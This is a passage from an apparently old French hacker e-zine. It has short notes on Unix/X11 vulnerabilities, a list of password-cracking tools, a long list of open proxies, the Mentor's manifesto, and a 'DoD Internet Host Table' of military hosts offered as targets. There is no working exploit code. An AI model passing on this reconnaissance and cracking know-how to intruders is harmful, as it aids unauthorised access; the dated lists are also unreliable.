X11R?            1--          snoop on keyboards and bitmaps ()
X11R3            1--          can set log on and exec (fixed in "fix-6")
X11R4            1--          can set log on and exec (fixed in "fix-6")
X11R ?           1--          snoop on keyboards and bitmaps ()
X11R5            5++          xterm can create files (xterm1__)
xhost            1--          if + , anyone can connect to X server ()
ypbind           1--          accepts ypset from anyone ()
 
 

IX/ Hades, Cracker jack...: les perçeurs de mots de passe

   Comme vous l'avez deviné cet article parlera de perçeurs de mots de apsse pour les stations UNIX/Linux uniquement. Il n'y a pas de réel intérêt à faire ça pour des ordinbateurs sous Windows: en effet, à partir du moment ou vous avez un accès utilisateur reconnu sur la machine, vous avez accès au réseau, et les privil_ges imposés sont les même sauf en cas de sessions administrateurs gérés par des programmes tel KeiiWin. Seulement ces statuts sont TRES facilement comprommetables (expliqué dans les zines précédents): par exemple effacer le fichier pwl permet de rassaisir le mot de pass de session de l'utilisateur à qui correspondait le fichier pwl.

   Un perçeur de mot de passe est prévu pour décrypter un password cérypté par un algorithme. Actuellement les algorithmes de cryptage sont si puissants qu'il devient impossible d'en trouver le chemin de décryptage du mot de passe. Alors il y a des programmes qui vont se charger de trouver le password en le faisant apsser par l'algorithme de cryptage. Cette méthode est aussi connue sous le nom de: "Brute Force Hacking".
   La plupart de ces mots de passes marchent en testant les mots de passe d'un "dico". Ce "dico" correspond à une liste de mot, qui est prévu pour tester chaque mot comme password un par un. Quelques dicos sont trouvables sur hackers.com.

   D'autres crackers de mots de passes auront la tâche de décrypter le mot de passe. En général ces programmes ont déjà des clés de cryptages pour décrypter des passes encryptés avec certains programmes (exemple: le programme X décryptera le pass Y du programme A, mais pas le pass Z car il n'a pas été crypté avec le programme A).

    Je vous donne une liste de quelques crackers de mots de passe trouvables sur internet:
- Unsecure
- VcrackFTP
- CrackerJack
- EntryPRO
- Ftp-Hck
- Hades
- l0pht Crack
- DEPL
- ...
 


IX/ Proxys:

   On croise sans cesse des textes fournissant des listes de proxys. Une rumeur bien con s'est fondé sur les proxys: on s'imagine actuellement (surtout les lamers), qu'un proxy eprmet de se spoofer.

Explications techniques lorsqu'une liaison s'établit vers un serveur distant:

   Une connexion s'établit toujours de client vers serveur. Chaque connection est bi-directionnelle. Lorsqu'une demande de connection est lancée vers un serveur, le serveur répond avec son autorisation ou non, et une demande de connection sur vous. Puis encore une requête pour commencer l'échange de packets est envoyée vers le serveur. Pour établir une connection qui marche, et pas du pipeau, le serveur doit se connecter à vous (adresse phisyqes, internets...). passer par un proxy ne change rien au fait que vous utilisez toujours le même ISP, et donc avez toujours une IP founie par cet ISP. Le proxy peut à la limite servir de firewall (filtrage de packets entrant ou sortant selon sa configuration), donc un internaute pourrait ne pas réussir à vous tracer ou vous pinger. Mais celà ne change rien. Le seul problème de sécurité que pose ainsi un proxy est, qu'en passant à travers plusieurs proxys (il suffit d'établir des connections en reconfigurant le nécessaire), si l'on cherche à vous retracer, celà deviendrait difficile mais pas impossible.

Liste de proxys tirée de Hackoff18, qui est elle même tirée d'ils ne savent trop où:
Code  Fournisseur URL Port Protocole
AE  Emirates.Net proxy.emirates.net.ae/proxy.pac -  AUTOCONFIG
AR  Broggio gopher.broggio.com.ar 80  HTTP/FTP
AT  Tecan www-proxy.tecan.co.at 8080  HTTP/FTP
AU  TAS www2.transport.tas.gov.au 80  HTTP/FTP
AU  Schools proxy.schools.net.au 3128  HTTP/FTP
BR  CTelecom proxy.cybertelecom.com.br 8080  HTTP/FTP
BR  Overnet vectra.overnet.com.br 3128  HTTP/FTP
CA  Csjlor www.csjlor.qc.ca 8080  HTTP/FTP
CA  Clasalle acces.clasalle.qc.ca 8080  HTTP/FTP
CH  Cern web-cache-2.cern.ch 8080  HTTP/FTP
CH  UniSg sigma.unisg.ch 3128 HTTP/FTP
CO  Compunet proxy.compunet.net.co 3128  HTTP/FTP
CZ  Cuni hamster.ms.mff.cuni.cz 8080  HTTP/FTP GOPHER / WAIS SECURITY
CZ  Vutbr lyn.zlin.vutbr.cz 8080  HTTP/FTP
COM  RR proxye1-atm.maine.rr.com 8080  HTTP/FTP
COM  McMail proxy.mcmail.com 8080  HTTP/FTP
COM  Ludexpress yogsothoth.ludexpress.com 8080  HTTP/FTP
DE  HtwkL zeus.rz.htwk-leipzig.de 80  HTTP/FTP GOPHER
DE  Siemens ramses.erlm.siemens.de 80  HTTP/FTP
DE  U-Rb. rrznw6.rz.uni-regensburg.de 8080  HTTP/FTP
EDU  Berkeley smorgasbord.ICSI.Berkeley.EDU 8080  HTTP/FTP
EDU  PurdueNC Brahma.CC.PurdueNC.Edu 8080  HTTP/FTP
FI  Inet proxy.inet.fi 800 HTTP/FTP
FI  TPU proxy.cs.tpu.fi 80 HTTP/FTP
FR  AC ppar.ac-bordeaux.fr 8080  HTTP/FTP
GOV  Dgs wall-14.dgs.ca.gov 80  HTTP/FTP
IT  TO www.focos.to.it 3128 HTTP/FTP
IT  Lcnet mail.lcnet.it 8080 HTTP/FTP
JP  K-K lip.kobe-kosen.ac.jp 8080  HTTP/FTP
JP  Fukuoka kusu.city.kurume.fukuoka.jp 8080  HTTP/FTP
KR  Kyunghee cvs2.kyunghee.ac.kr 8080  HTTP/FTP
KR  Taegu biho.taegu.ac.kr 8080  HTTP/FTP
MIL  Dla cani.dla.mil 8080 HTTP/FTP
MIL  OSD pgwcm.otd.osd.mil 80 HTTP/FTP
MIL  Navy gatekeeper.jag.navy.mil 80  HTTP/FTP
MIL  USMC gate1.yuma.usmc.mil 80  HTTP/FTP
NET  Deltacom cacheflow1.deltacom.net 8080  HTTP/FTP
NET  Coqui proxy.coqui.net 80  HTTP/FTP
NL  Nhtv proxy.nhtv.nl 8080 HTTP/FTP
NL  Tebenet www.tebenet.nl 8080  HTTP/FTP
ORG  Londonderry www.londonderry.org 8080  HTTP/FTP
ORG  Aclin aclin.org 8080 HTTP/FTP
PH  EMC ascaris.emc.com.ph 8888  HTTP/FTP
PH  Info mail2.info.com.ph 3128  HTTP/FTP
PT  Isec leonardo.isec.pt 8080 HTTP/FTP
PT  Teleweb caclis01.teleweb.pt 3128  HTTP/FTP
PY  Infonet ns1.infonet.com.py 8080  HTTP/FTP
QA  Qatarnet proxy.qatar.net.qa 8080  HTTP/FTP
SE  Varnamo ns.varnamo.se 8080  HTTP/FTP
TR  Turnet proxy1.turnet.net.tr 8080  HTTP
TR  Turnet proxy2.turnet.net.tr 8080  HTTP
TW  IS c1.h202052106.is.net.tw 80  HTTP/FTP
TW  Golden club.golden.com.tw 8080  HTTP/FTP
UK  Ondemand cache1.ondemand.co.uk 8080  HTTP/FTP
UK  LUT double-panic.lut.ac.uk 8080  HTTP/FTP
US  K12 stpauls.pvt.k12.al.us 8080  HTTP/FTP
US  Oh websense.gcpl.lib.oh.us 8080  HTTP/FTP
ZA  New cache.new.co.za 8080 HTTP/FTP
ZA  Global cache02.global.co.za 3128  HTTP/FTP
ZW  Cybergate proxy.cybergate.co.zw 8080  HTTP/FTP
ZW  Africaonline proxy.africaonline.co.zw 8080  HTTP/FTP
 
 

X/ Quelques textes traduits par Clad Strife

   Comme chaque chose, un texte reste difficile à traduire si on essaye de faire du mot à mot. Disons que je vais reprendre les idées générales en modifiant certaines données si nécessaire. Il est évident que je ne vais pas m'éterniser sur ces articles. Je n'en mets que 2 ou 3, notamment de la culture underground, ça risque de ne pas vous apprendre grand chose si vous êtes plus aspect technique que culturel.
   A la question: "La culture Underground existe-t-elle vraiment, et est-elle en mesure de se développer?", je réponds oui... Mais pour avoir cette culture, il faut avoir compris cette culture: il ne s'agit pas d'avoir une éthique morale, d'avoir des principes etc... Il faut croire en eux.

Où peut on avoir plus d'informations sur les virus, par Theora:

   Les livres sur la programmation en assembleur sont chiants mais utiles quand on veut faire des virus. Le plus intéressant reste la controverse qui est autour d'eux: faciles à faire, gartuits, parfois légaux (certains cas spéciaux), et on peut trouver des informations sur les virus aussi facilement que si vous vouliez en avoir un. Il y a beaucoup de newsgroups qui existent traitant du sujet (alt.virus comme types de newsgroups). Mais le niveau d'expertise de ces newsgroups est minimal. heureusement qu'il y a beaucoup d'experts en virus. Pour en devenir un faites vous appeler comme tel, et comprenez la programmation, les systèmes d'exploitation, comment marche les virus etc... Il existe beaucoup d'informations concernant des virus, trouvable partout sur le net.

Cas particulier: la conscience d'un hacker par The Mentor EN ANGLAIS (non traduit: texte original), après son arrestation:

"Mentor's Last Words"

Another one got caught today, it's all over the papers.  "Teenager
Arrested in Computer Crime Scandal", "Hacker Arrested after Bank
Tampering"... Damn kids.  They're all alike. But did you, in your three-
piece psychology and 1950's technobrain, ever take a look behind the
eyes of the hacker?  Did you ever wonder what made him tick, what forces
shaped him, what may have molded him? I am a hacker, enter my world...
Mine is a world that begins with school... I'm smarter than most of the
other kids, this crap they teach us bores me...  Damn underachiever.
They're all alike. I'm in junior high or high school.  I've listened to
teachers explain for the fifteenth time how to reduce a fraction.
I understand it.  "No, Ms. Smith, I didn't show my work.  I did it in
my head..." Damn kid.  Probably copied it.  They're all alike.
I made a discovery today.  I found a computer.  Wait a second, this is
cool.  It does what I want it to.  If it makes a mistake, it's because I
screwed it up.  Not because it doesn't like me...  Or feels threatened by
me.. Or thinks I'm a smart ass.. Or doesn't like teaching and shouldn't be
here... Damn kid.  All he does is play games.  They're all alike. And then
it happened... a door opened to a world... rushing through the phone line
like heroin through an addict's veins, an electronic pulse is sent out,
a refuge from the day-to-day incompetencies is sought... a board is found.
"This is it... this is where I belong..." I know everyone here... even
if I've never met them, never talked to them, may never hear from them
again... I know you all... Damn kid.  Tying up the phone line again.
They're all alike... You bet your ass we're all alike... we've been
spoon-fed baby food at school when we hungered for steak... the bits of
meat that you did let slip through were pre-chewed and tasteless.
We've been dominated by sadists, or ignored by the apathetic.  The few
that had something to teach found us willing pupils, but those few are
like drops of water in the desert.
   This is our world now... the world of the electron and the switch, the
beauty of the baud.  We make use of a service already existing without
paying for what could be dirt-cheap if it wasn't run by profiteering
gluttons, and you call us criminals.  We explore... and you call us
criminals.  We seek after knowledge... and you call us criminals.  We
exist without skin color, without nationality, without religious bias...
and you call us criminals. You build atomic bombs, you wage wars, you
murder, cheat, and lie to us and try to make us believe it's for our
own good, yet we're the criminals.
   Yes, I am a criminal.  My crime is that of curiosity.  My crime is
that of judging people by what they say and think, not what they look like.
My crime is that of outsmarting you, something that you will never
forgive me for. I am a hacker, and this is my manifesto.  You may stop
this individual,but you can't stop us all... after all, we're all alike.
                            +++The Mentor+++
[May the members of the phreak community never forget his words -JR]

La traduction est celle de NeurAlien. Mais je ne la mets pas: ils est plus inétressant de se baser sur son texte et de le traduire avec son expérience et son vécu, que de comprendre ce que neurAlien a traduit avec son expérience.

"DoD Internet Host Table":

Ceci est là liste là plus complète jusqu'ici des sites militaires internet DoD(?).
 

InterNet
node address

6.1.0.1         yuma-emh1.army.mil yuma.arpa yuma1.army.mil
7.8.0.2         protolaba.dca.mil protolaba.arpa
7.0.0.3         edn-vax.dca.mil edn-vax.arpa
8.0.0.2         ccs.bbn.com
8.1.0.2         cci.bbn.com bbncci.arpa
8.3.0.2         ccd.bbn.com bbnccd.arpa
8.5.0.2         cck.bbn.com
8.0.0.5         cd2.bbn.com
8.2.0.5         cc1-tac.bbn.com
8.3.0.9         bbnnet2-arpanet-gw.arpa bbnnet2-arpanet-gw.bbn.com
8.7.0.9         egonoc.bbn.com
8.0.0.10        cc4-tac.bbn.com
8.3.0.10        jsnach.bbn.com jsnach.arpa
8.1.0.12        noc3.bbn.com
8.5.0.14        dev.cs.net
128.89.0.94     dev.cs.net
8.1.0.16        rvax.bbn.com
128.89.0.132    rvax.bbn.com
8.1.0.18        cc2.bbn.com
8.7.0.18        cca.bbn.com bbncca.arpa
8.6.0.19        cc3-tac.bbn.com
8.9.0.19        ccny.bbn.com
8.2.0.24        ccu.bbn.com bbnccu.arpa
8.3.0.24        cco.bbn.com
8.0.0.26        ccp.bbn.com
8.1.0.26        ccq.bbn.com bbnccq.arpa
8.3.0.26        hnoc.bbn.com
8.5.0.26        z.bbn.com bbnz.arpa
8.7.0.26        ccx.bbn.com bbnccx.arpa
8.8.0.26        ccy.bbn.com bbnccy.arpa
8.16.0.33       cce.bbn.com bbncce.arpa
8.1.0.35        col.bbn.com bbncc-columbia.arpa
8.2.0.37        cc-vm.bbn.com
8.0.0.58        idnoc.bbn.com
8.0.0.97        noc4.bbn.com
10.4.0.5        gw-1.cs.net
192.31.103.1    gw-1.cs.net
192.5.58.1      gw-1.cs.net
10.7.0.5        lpr-netman.arpa lpr-netman.bbn.com
10.2.0.7        rand-arpa-tac.arpa
10.2.0.11       su-arpa-tac.arpa
10.3.1.11       stanford.arpa
10.5.0.14       white.incsys.com incremental.arpa
192.31.230.1    white.incsys.com incremental.arpa
10.6.0.14       cadre.dsl.pitt.edu cadre.arpa cadre.dsl.pittsburgh.edu
128.147.128.1   cadre.dsl.pitt.edu cadre.arpa cadre.dsl.pittsburgh.edu
128.147.1.1     cadre.dsl.pitt.edu cadre.arpa cadre.dsl.pittsburgh.edu
130.49.128.1    cadre.dsl.pitt.edu cadre.arpa cadre.dsl.pittsburgh.edu
10.8.0.14       gateway.sei.cmu.edu
128.237.254.254 gateway.sei.cmu.edu
128.2.237.251   gateway.sei.cmu.edu
10.4.0.17       tis.com tis.arpa
10.2.0.20       dcec-arpa-tac.arpa
10.3.0.20       edn-unix.dca.mil edn-unix.arpa
10.5.0.20       dcec-psat.arpa
10.11.0.20      sccgate.scc.com sccgate.arpa
10.1.21.27      mcon.isi.edu
10.0.21.22      mcon.isi.edu
10.1.22.27      speech11.isi.edu
10.1.23.27      wbc11.isi.edu isi-wbc11.arpa
10.0.23.22      wbc11.isi.edu isi-wbc11.arpa
10.1.89.27      setting.isi.edu isi-setting.arpa
10.1.91.27      pallas-athene.isi.edu isi-pallas-athene.arpa
10.1.97.27      aikane.isi.edu isi-aikane.arpa
10.1.98.27      czar.isi.edu isi-czar.arpa
10.1.99.27      mycroft.isi.edu isi-mycroftxxx.arpa
10.1.124.27     cmr.isi.edu isi-cmr.arpa
10.1.156.27     png11.isi.edu
10.1.254.27     echo.isi.edu isi-echo.arpa
10.0.0.28       arpa3-tac.arpa
10.1.0.31       amc.xait.xerox.com cca-vms.arpa
10.4.0.31       xait-arp-tac.arpa cca-arp-tac.arpa
10.0.0.46       collins-pr.arpa
10.1.0.46       collins-gw.arpa
192.12.172.11   collins-gw.arpa
10.7.0.51       a-lhi-sri-03.arpa
10.3.1.54       jpl-robotics.arpa
10.1.0.63       bbn-arpa-tac.arpa
10.2.0.77       mit-arpa-tac.arpa
10.3.0.77       umass-gw.cs.umass.edu unix1.cs.umass.edu
128.119.40.12   umass-gw.cs.umass.edu unix1.cs.umass.edu
10.0.0.82       tacac.arpa
10.1.0.82       a-lhi-bbn-01.arpa
10.5.0.82       arpa-mc.arpa arpanet-mc.arpa
10.5.0.96       prc-gw.prc.unisys.com
10.2.0.99       vax-x25.arpa
10.3.0.99       bbn-x25-test3.arpa
10.4.0.99       bbn-x25-test4.arpa
10.5.0.99       test-host5-x25.arpa
10.0.0.115      anoc1.arpa
10.0.0.126      tycho.ncsc.mil tycho.arpa
10.1.0.126      afterlife.ncsc.mil afterlife.arpa
13.2.16.8       parcvax.xerox.com vaxc.xerox.com
13.1.100.206    arisia.xerox.com
13.0.12.232     xerox.com xerox.arpa
14.0.0.4        vtest.cs.ucl.ac.uk ucl-vtest.arpa
14.0.0.5        ess-tun.cs.ucl.ac.uk
14.0.0.9        tunnel.cs.ucl.ac.uk
15.255.152.2    sde.hp.com
15.255.16.7     hplabs.hp.com hplabs.arpa
16.1.0.1        decwrl.dec.com wrl.dec.com
16.10.0.1       vixie.sf.ca.us
16.1.0.2        gatekeeper.dec.com
16.1.0.3        cerberus.pa.dec.com
16.1.0.8        src.dec.com decsrc.dec.com
16.1.0.9        wsl.dec.com
18.72.2.1       mit.edu
18.77.0.2       mitlns.mit.edu
18.85.0.2       media-lab.media.mit.edu
18.87.0.2       euler.mit.edu
18.92.0.2       coventry.mit.edu
18.72.0.3       bitsy.mit.edu
18.79.0.3       lids.mit.edu
18.85.0.3       atrp.media.mit.edu
18.87.0.3       cauchy.mit.edu
18.92.0.3       mitvma.mit.edu
18.71.0.4       orpheus.mit.edu
18.86.0.4       xv.mit.edu
18.87.0.4       abel.mit.edu
18.79.0.5       lmpvax.mit.edu
18.86.0.5       dolphin.mit.edu
18.87.0.5       stokes.mit.edu
18.10.0.6       sludge.lcs.mit.edu mit-sludge.arpa
18.26.0.134     sludge.lcs.mit.edu mit-sludge.arpa
128.127.25.101  sludge.lcs.mit.edu mit-sludge.arpa
18.62.0.6       eddie.mit.edu mit-eddie.mit.edu
18.72.0.6       priam.mit.edu
18.85.0.6       ems.media.mit.edu
18.86.0.6       sloan.mit.edu
18.87.0.6       banach.mit.edu
18.71.0.7       jason.mit.edu
18.87.0.7       fermat.mit.edu
18.72.0.8       achilles.mit.edu
18.87.0.8       bourbaki.mit.edu math.mit.edu
18.10.0.9       gross.ai.mit.edu mit-gross.arpa
128.52.22.9     gross.ai.mit.edu mit-gross.arpa
128.52.14.1     gross.ai.mit.edu mit-gross.arpa
128.52.32.1     gross.ai.mit.edu mit-gross.arpa
18.87.0.9       archimedes.mit.edu
18.75.0.10      space.mit.edu
18.87.0.10      fourier.mit.edu
18.87.0.11      newton.mit.edu
18.71.0.12      paris.mit.edu
18.87.0.12      noether.mit.edu
18.80.0.13      charon.mit.edu
18.87.0.13      zermelo.mit.edu
18.72.1.14      eagle.mit.edu
18.80.0.14      prometheus.mit.edu
18.87.0.14      borel.mit.edu
18.87.0.15      poisson.mit.edu
18.87.0.16      schubert.mit.edu
18.62.0.17      dspvax.mit.edu mit-bugs-bunny.arpa
18.80.0.17      bloom-beacon.mit.edu
18.87.0.17      boole.mit.edu
18.27.0.18      fft.mit.edu
18.87.0.18      galois.mit.edu
18.27.0.19      dft.mit.edu
18.87.0.19      laplace.mit.edu
18.27.0.20      porky.mit.edu
18.87.0.20      ramanujan.mit.edu
18.92.0.20      po.mit.edu
18.27.0.21      sam.mit.edu
18.87.0.21      turing.mit.edu
18.87.0.22      russell.mit.edu
18.87.0.23      hypatia.mit.edu emma.mit.edu
18.87.0.24      laurent.mit.edu
18.87.0.25      bessel.mit.edu
18.87.0.26      cantor.mit.edu
18.87.0.27      fibonacci.mit.edu
18.87.0.28      lebesgue.mit.edu
18.87.0.29      pythagoras.mit.edu
18.85.0.30      hq.media.mit.edu
18.87.0.30      von-neumann.mit.edu
18.87.0.31      polya.mit.edu
18.87.0.32      pascal.mit.edu
18.87.0.33      euclid.mit.edu
18.87.0.34      bernoulli.mit.edu
18.30.0.35      cls.lcs.mit.edu mit-cls.arpa
18.87.0.35      hausdorff.mit.edu
18.26.0.36      xx.lcs.mit.edu lcs.mit.edu mit-xx.arpa
18.87.0.36      dedekind.mit.edu
18.87.0.37      jacobi.mit.edu
18.71.0.38      prep.ai.mit.edu
18.87.0.38      hermite.mit.edu
18.72.0.39      athena.mit.edu mit-athena.arpa
18.87.0.39      tarski.mit.edu
18.87.0.40      markov.mit.edu
18.87.0.41      godel.mit.edu goedel.mit.edu
18.88.0.55      cogito.mit.edu
18.27.0.56      goldilocks.lcs.mit.edu mit-goldilocks.arpa
18.10.0.71      pm-prj.lcs.mit.edu mit-prj.arpa
18.26.0.80      melange.lcs.mit.edu grape-nehi.lcs.mit.edu
18.88.0.80      hstbme.mit.edu
18.88.0.82      infoods.mit.edu
18.88.0.85      psyche.mit.edu
18.52.0.92      theory.lcs.mit.edu mit-theory.arpa
18.88.0.92      erl.mit.edu
18.26.0.94      thyme.lcs.mit.edu jhereg.lcs.mit.edu toadkiller-dog.lcs.mit.edu
18.26.0.95      larch.lcs.mit.edu mit-larch.arpa
18.26.0.98      rinso.lcs.mit.edu mit-rinso.arpa
18.26.0.106     tide.lcs.mit.edu mit-tide.arpa mit-tide tide
18.26.0.107     dash.lcs.mit.edu mit-dash.arpa mit-dash dash
18.26.0.114     hq.lcs.mit.edu
18.82.0.114     mgm.mit.edu
18.26.0.115     allspice.lcs.mit.edu ptt.lcs.mit.edu
18.26.0.121     lithium.lcs.mit.edu
18.72.0.122     ra.mit.edu
18.72.0.142     arktouros.mit.edu
18.71.0.151     mit-strawb.arpa strawb.mit.edu
18.70.0.160     w20ns.mit.edu
18.26.0.176     zurich.ai.mit.edu
18.80.0.181     osborn.mit.edu
18.80.0.191     delphi.mit.edu
18.30.0.192     vx.lcs.mit.edu mit-vax.arpa mit-vx.arpa mit-vax.lcs.mit.edu
18.10.0.195     big-blue.lcs.mit.edu mit-big-blue.arpa
18.48.0.195     live-oak.lcs.mit.edu oak.lcs.mit.edu
18.72.0.205     garp.mit.edu
18.30.0.206     zermatt.lcs.mit.edu
18.30.0.212     expo.lcs.mit.edu
18.48.0.216     wild-blue-yonder.lcs.mit.edu wild-blue.lcs.mit.edu
18.86.0.216     diamond.mit.edu
18.62.0.232     caf.mit.edu mit-caf.arpa
26.1.0.1        oberursel.mt.ddn.mil oberursel-mil-tac.arpa
26.3.0.1        rhe-eds.af.mil rhe-eds.arpa
26.5.0.1        obl-ignet.army.mil obe-ignet.arpa
26.6.0.1        pcc-obersl.army.mil
26.7.0.1        oberursel-emh1.army.mil email-oberursl.army.mil
26.0.0.2        emmc.dca.mil eur-milnet-mc.arpa
26.1.0.2        patch.mt.ddn.mil minet-vhn-mil-tac.arpa
26.3.0.2        eur.dca.mil dca-eur.arpa dca-eur.dca.mil
26.4.0.2        moehringen-emh1.army.mil
26.5.0.2        moehringen-ignet.army.mil igmirs-moehringer.arpa
26.6.0.2        patch.dca.mil patch.arpa
26.8.0.2        goeppingen-emh1.army.mil email-goeppngn.army.mil
26.9.0.2        nellingen-emh1.army.mil email-nellingn.army.mil
26.10.0.2       pcc-moeh.arpa moeh-pcc.army.mil
26.11.0.2       pcc-nell.arpa nel-pcc.army.mil
26.12.0.2       pcc-boeb.arpa bbl-pcc.army.mil
26.13.0.2       pcc-vaih.arpa vhn-pcc.army.mil
26.14.0.2       patch2.mt.ddn.mil vaihingen2-mil-tac.arpa
26.15.0.2       frg.bbn.com bbncc-eur.arpa
26.16.0.2       erf-boe.arpa bbl-erf.army.mil
26.0.0.3        sandiego.mt.ddn.mil sandiego-tac.arpa
26.1.0.3        trout.nosc.mil nosc.mil trout.nosc.navy.mil
128.49.16.7     trout.nosc.mil nosc.mil trout.nosc.navy.mil
26.2.0.3        logicon.arpa
26.3.0.3        nprdc.navy.mil nprdc.arpa nprdc.mil
192.5.65.1      nprdc.navy.mil nprdc.arpa nprdc.mil
26.4.0.3        mcdn-cpt.arpa
26.5.0.3        sdcsvax.ucsd.edu
128.54.20.1     sdcsvax.ucsd.edu
26.6.0.3        navelex.arpa
26.7.0.3        navelexnet-sd.arpa
26.8.0.3        sds-sandgoa.arpa sds-sandgoa.navy.mil
26.9.0.3        mirnas.arpa
26.11.0.3       navmeducapendleton.arpa
26.12.0.3       sssd.arpa
26.13.0.3       navmeducasandiego.arpa
26.14.0.3       sandiego-httds.arpa
26.15.0.3       scubed.com scubed.arpa scubed.scubed.com
192.31.63.10    scubed.com scubed.arpa scubed.scubed.com
192.16.16.70    scubed.com scubed.arpa scubed.scubed.com
26.16.0.3       grunion.nosc.mil nosc-ether.arpagrunion.nosc.navy.mil
192.42.2.2      grunion.nosc.mil nosc-ether.arpagrunion.nosc.navy.mil
26.18.0.3       comnavsurfpac.arpa
26.0.0.4        zwe-eds.af.mil zwe-eds.arpa
26.1.0.4        campbell-bks.mt.ddn.mil campbllbks-mil-tac.arpa
26.2.0.4        heidelberg-emh1.army.mil heidelberg-emh.arpa
26.4.0.4        heidelberg-perddims.army.mil perddims-hei.arpa
26.5.0.4        edas-scw.arpa szn-edasscw.army.mil
26.6.0.4        cpo-man-eur.arpa mhn-cpo.army.mil
26.7.0.4        hdg-ignet1.army.mil hhsp-ignet.arpa
26.8.0.4        hdg-ignet2.army.mil hei2-ignet.arpa
26.9.0.4        jacs6333.army.mil
26.14.0.4       pcc1.arpa hdg-pcc.army.mil
26.15.0.4       ccpd.arpa hdg-ccpd.army.mil
26.16.0.4       cpo-hdl-eur.arpa hdg-cpo.army.mil
26.1.0.5        karl-shurz.mt.ddn.mil bremerhaven-mil-tac.arpa
26.4.0.5        pals-68.arpa brn-pals1.army.mil
26.5.0.5        pals-67.arpa brn-pals.army.mil
26.6.0.5        oldendorf-am1.af.mil
26.7.0.5        bremrhvn-meprs.army.mil
26.8.0.5        bremerhave-emh1.army.mil email-klshzksn.army.mil
26.10.0.5       bremerhave-asims.army.mil brm-asims.arpa
26.11.0.5       dasps-e-562-b.arpa obl-daspseb.army.mil
26.12.0.5       gst-ignet.army.mil gar-ignet.arpa
26.13.0.5       mtmc-aif-b.arpa brn-aifb.army.mil
26.0.0.6        rotterdam.mt.ddn.mil minet-rdm-mil-tac.arpa
26.5.0.6        sostrbrg-piv.af.mil
26.6.0.6        cna-eds.af.mil cna-eds.arpa
26.7.0.6        schinnen-emh1.army.mil
26.9.0.6        rotterdam-emh1.army.mil email-rotterdm.army.mil
26.10.0.6       mtmc-aif.arpa rotterdam-aif.army.mil
26.11.0.6       dasps-e-778.arpa rotterdam-daspse.army.mil
26.13.0.6       mtf-sosbg.af.mil mtf-sosbg.arpa mtf-cp-newamsterdam.arpa
26.1.0.7        london.mt.ddn.mil minet-lon-mil-tac.arpa
26.4.0.7        ben-eds.af.mil ben-eds.arpa
26.6.0.7        chievres-emh1.army.mil
26.10.0.7       alc-eds.af.mil alc-eds.arpa
26.11.0.7       kem-eds.af.mil kem-eds.arpa
26.12.0.7       london-ncpds.arpa
26.0.0.8        washdc-nrl.mt.ddn.mil nrlwashdc-mil-tac.arpa
26.3.0.8        ccf.nrl.navy.mil ccf3.nrl.navy.mil nrl.arpa nrl3.arpa
128.60.0.3      ccf.nrl.navy.mil ccf3.nrl.navy.mil nrl.arpa nrl3.arpa
26.5.0.8        nardacwash-001.arpa
26.7.0.8        spawar-003.arpa
26.8.0.8        sds-cda1.arpa sds-cda1.navy.mil
26.9.0.8        navelexnet-ward.arpa
26.10.0.8       ships-donoacs.arpa
26.11.0.8       wnyosi2.arpa
26.11.2.8       wnysamis.arpa
26.11.3.8       wnyosi4.arpa
26.11.4.8       wnyosi7.arpa
26.13.0.8       amdahl-5850-vm.navy.mil
26.15.0.8       amdahl-v7a.navy.mil
26.16.0.8       amdahl-v7.navy.mil
26.17.0.8       ibm4381.navy.mil
26.20.0.8       nfe.nrl.navy.mil nrl-nfe.arpa
128.60.1.1      nfe.nrl.navy.mil nrl-nfe.arpa
192.26.26.1     nfe.nrl.navy.mil nrl-nfe.arpa
26.21.0.8       arctan.nrl.navy.mil nrl-arctan.arpa
26.1.0.9        sigonella.mt.ddn.mil sigonella-mil-tac.arpa
26.3.0.9        com-eds.af.mil com-eds.arpa
26.4.0.9        san-eds.af.mil san-eds.arpa
26.6.0.9        sig-ncpds.arpa
26.7.0.9        mtf-comiso.af.mil
26.8.0.9        comiso-am1.af.mil comiso-am1.arpa
26.10.0.9       comiso-piv.af.mil
26.1.0.10       rota.mt.ddn.mil rota-mil-tac.arpa
26.2.0.10       mtf-rota.arpa mtf-rota.af.mil
26.6.0.10       rota-ncpds.arpa
26.0.0.11       corona.mt.ddn.mil corona-mil-tac.arpa
26.4.0.11       fltac-poe.arpa
26.6.0.11       santaana-dmins.dla.mil
26.7.0.11       c.navy.mil dgoa.arpa
26.8.0.11       fltac-sperry.arpa
26.9.0.11       norton-ro1.af.mil norton-ro1.arpa
26.10.0.11      afsc-bsd.af.mil afsc-bmo.af.mil afsc-bmo.arpa
26.12.0.11      norton-piv-2.af.mil norton-piv-2.arpa
26.13.0.11      afisc-01.af.mil afisc-01.arpa
26.15.0.11      corona-po.arpa
192.31.174.2    corona-po.arpa
26.0.0.12       vicenza.mt.ddn.mil vicenza-mil-tac.arpa
26.4.0.12       vca-asims.arpa vic-asims.army.mil
26.5.0.12       cpo-vic-eur.arpa vic-cpo.army.mil
26.6.0.12       afrts-vic.arpa vic-afrts.army.mil
26.7.0.12       vic-ignet.army.mil vic-ignet.arpa
26.8.0.12       emed-vicenza.arpa vic-emed.army.mil
26.9.0.12       meprs-vicenza.arpa vic-meprs.army.mil
26.10.0.12      jacs6335.arpa vic-hacs.army.mil
26.11.0.12      pcc-vice.arpa vic-pcc.army.mil
26.12.0.12      vicenza-emh1.army.mil email-vicenza.army.mil
26.0.0.13       gunter.mt.ddn.mil gunter-mil-tac.arpa
26.1.0.13       gunter-adam.af.mil gunter-adam.arpa
26.5.0.13       gunterp4.af.mil gunterp4.arpa
131.2.16.1      gunterp4.af.mil gunterp4.arpa
26.6.0.13       rucker-perddims.army.mil perddims06.arpa
26.7.0.13       bcgunt.af.mil bcgunt.arpa
26.11.0.13      jackson-perddims.army.mil perddims07.arpa
26.12.0.13      hrc-iris.af.mil hrc-iris.arpa
129.141.11.1    hrc-iris.af.mil hrc-iris.arpa
26.13.0.13      mtf-gunter.af.mil mtf-gunter.arpa
26.14.0.13      gu-eds.af.mil gu-eds.arpa
26.15.0.13      camnet-maxwell-r01.af.mil camnet-maxwell-r01.arpa
26.18.0.13      maxwell-am1.af.mil maxwell-am1.arpa camnet-maxw-r03.arpa
26.5.0.14       zweibrucke-asims.army.mil asims-zweibrucken.arpa
26.8.0.14       dmaoe.dma.mil dmaodsdoe.arpa
26.13.0.14      cpo-prm-eur.arpa pms-cpo.army.mil
26.14.0.14      cpo-zwi-eur.arpa zbn-cpo.army.mil
26.1.0.15       ramstein.mt.ddn.mil ramstein-mil-tac.arpa
26.5.0.15       van-eds.af.mil van-eds.arpa
26.8.0.15       camnettwo-ramstein.af.mil camnettwo-ramstein.arpa
